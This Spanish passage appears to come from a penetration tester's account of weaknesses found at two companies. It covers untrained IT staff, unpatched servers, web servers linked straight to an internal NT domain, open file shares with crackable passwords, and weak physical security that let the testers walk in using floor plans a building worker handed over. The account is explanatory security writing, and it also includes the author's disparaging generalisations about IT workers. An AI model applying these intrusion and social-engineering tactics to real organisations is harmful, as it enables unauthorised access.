Otro problema es la falta de experiencia de su personal en TI. Es bien conocido que estas grandes empresas, para recortar gastos (p.ej. tan barato como sea posible, para mantener contentos a los accionistas), centran sus esfuerzos en reducir costes, contratando a los de menor costo, que són precisamente los menos experimentados del mercado. Revisé a fondo los curriculums vitae de los empleados, y tienden a confirmar mi teoría. Muchos de ellos no tienen graduado escolar, y mucho menos títulos universitarios. Tenian un curso de formación y un MCSE de una escuela especializada, en una palabra, estaban verdes. Esta gente sólo conoce hasta donde les han enseñado, y harán clic donde les han enseñaron que hicieran clic, sin entender los conceptos o implicaciones de lo que estaban haciendo. Este es un efecto directo del boom de las TI en los 90. La demanda fué demasiado alta comparada con la oferta, así que la industria tuvo que generar más trabajadores, sacando rápidamente de las escuelas a unos analfabetos diplomados en computación para hacerse cargo de la infraestructura de las TI de las redes de la nación. Mucha gente, teniendo poca o ninguna experiencia en computadoras, viendo los buenos salarios de las TI que simplemente decidieron cambiar de carrera. No era extraño en estos dias ver a alguien que trabajaba en una tienda textil, ¡convertirse en un administrador de NT en menos de un año! Así que esta compañia está afectada por este problema, no podian (querian) conservar a empleados con experiencia, los cuales tendrian suficiente experiencia laboral y conocimientos como para tomar el aspecto de seguridad en cuestión y el aumentarla cuando se necesitara.
Esto nos lleva al tercer problema, directamente causado por el anterior, el cual el la causa de servidores sin parchear y altamente vulnerables en Internet. Su problema són en realidad 40 problemas, ya que la Editorial XYZ está formada por 40 pequeñas compañias, todas propiedad de XYZ, y cada una de esas compañias tiene el mismo problema, y todo requiere medidas urgentes de seguridad. $$$
El cuarto problema, apuntando en la misma dirección, es una mala arquitectura de la red. La Editorial XYZ se preocupó lo suficiente de su red para al menos poner cortafuegos en cada punto de entrada. Todos los cortafuegos serios incluyen la posibilidad de tener una DMZ, que es una zona separada de su red, diseñada para recibir el acceso público a máquinas como un servidor web o de correo. La idea es mantener estas máquinas separadas del resto de la red interna. Como estos servidores están expuestos a Internet, significa que cualquiera puede comprometer el servidor. El rol del cortafuegos es denegar el acceso desde la DMZ a la red interna, porque no se puede confiar en estas máquinas y una conexión iniciada desde una de ellas significa que muy probablemente la máquina ha sido crackeada. De esta forma, protege su red interna de Internet, manteniendo sus servidores públicos, y asegurando que los servidores no pueden utilizarse para acceder a la red interna. En el caso de la Editorial XYZ, la cosa era algo diferente. Ambos servidores web a los que les echamos mano estaban conectados a directamente a la red interna. Aún mejor, formaban parte de la arquitectura de dominios NT, lo que significa que podíamos fácilmente escanear los PDCs en busca de información sobre la red interna, y sobre la autenticación.
El quinto problema afectaba a ambas compañias, y está extendido por todo el mundo de las redes corporativas, y es el hecho de que la red interna, y específicamente las estaciones de trabajo, están totalmente desprotegidas. Muchos de los PCs tenían libre acceso a datos compartidos, sin protegerlos mediante contraseña (que de todas formas puede romperse , especialmente en máquinas Win 9x). Las contraseñas són débiles y fácilmente crakeadas. Las ACL de los servidores raramente se utilizan en estaciones NT, se implementan en la parte de datos de los servidores (para evitar que la gente acceda a ficheros de otros), pero no en la parte de sistema, lo que significa que cualquiera puede obtener el fichero de contraseñas y crackearlo más tarde. Los antivirus están caducados, aunque las actualizaciones automáticas són ahora algo común, y aunque estuvieran al día, pueden ser engañados fácilmente. Digamos que si su única protección es un antivirus, ni se moleste en instalarlo.
El sexto problema es uno que pilló a Trust-us comercio electrónico con los pantalones bajados. Siendo una compañia de comercio electrónico, eran lo suficientemente serios como para tener sus sistemas a buen recaudo. Eso sí, los expuestos a Internet. En cambio, tenían sus sistemas internos completamente abiertos como la Editorial XYZ, su seguridad física era inexistente. ¡Empezando por el chico que maneja el edificio y que nos dió los planos de la planta! Incluso se ofreció a darnos los planos de otras plantas. De esta forma, fué fácil entrar a las oficinas sin que nadie sospechara de nosotros, sin tener que tomar rápidas decisiones con la posiblidad de cometer un error y descubrirnos. La planta tenía varias puertas de acceso además de la principal, controlada por la secretaria. No había ninguna tarjeta de identificación que diferenciara a un trabajador de un extraño. Este fué su punto débil. Irónicamente, quiero señalar que la Editorial XYZ estaba más protegida en terminos de seguridad física, pero aun así podía ser fácil esquivar esta seguridad y atacar desde dentro. Especialmente porque su red está repartida entre diferentes lugares.
Vemos que hay poca conciencia de seguridad en las grandes corporaciones. El director de finanzas de la Editorial XYZ quedó impresionado al ver los resultados de mi intrusión, ya que creía firmemente que su red era segura. Entonces, al más puro estilo comercial, se quejó del dinero que le habían costado los cortafuegos, y que se había probado que no eran útiles después de todo. Pero estas personas sólo entienden de dólares, no de tecnología. ¿Es posible tener un entorno computacional conectado a Internet sin cortafuegos? Absolutamente no, por supuesto.